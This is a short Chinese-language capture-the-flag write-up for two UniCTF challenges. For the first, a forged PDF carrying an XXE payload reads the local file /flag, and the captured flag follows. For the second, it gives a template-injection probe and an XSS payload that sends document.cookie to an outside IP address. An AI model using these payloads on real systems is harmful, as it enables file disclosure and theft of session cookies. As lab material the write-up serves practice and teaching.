SecureDoc

发现是一个pdf上传器,能够识别提取XFA表单,搜索发现XFA使用XML结构,所以加上pdf文件头后直接伪造就行

%PDF-1.7
%

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xdp [
<!ENTITY flag SYSTEM "file:///flag">
]>
<xdp:xdp>
<xfa:datasets>
<xfa:data>
<data>&flag;</data>
</xfa:data>
</xfa:datasets>
</xdp:xdp>

image-20260125133200949

然后访问上传的XFA就行

image-20260125133227247

UniCTF{61473d29-63a3-4147-ae5b-7326b4fad876}

GlyphWeaver

{%print()%}



<body/onload=fetch(`http://38.55.99.186:1225/xss/xss.php?cookie=${document.cookie}`)>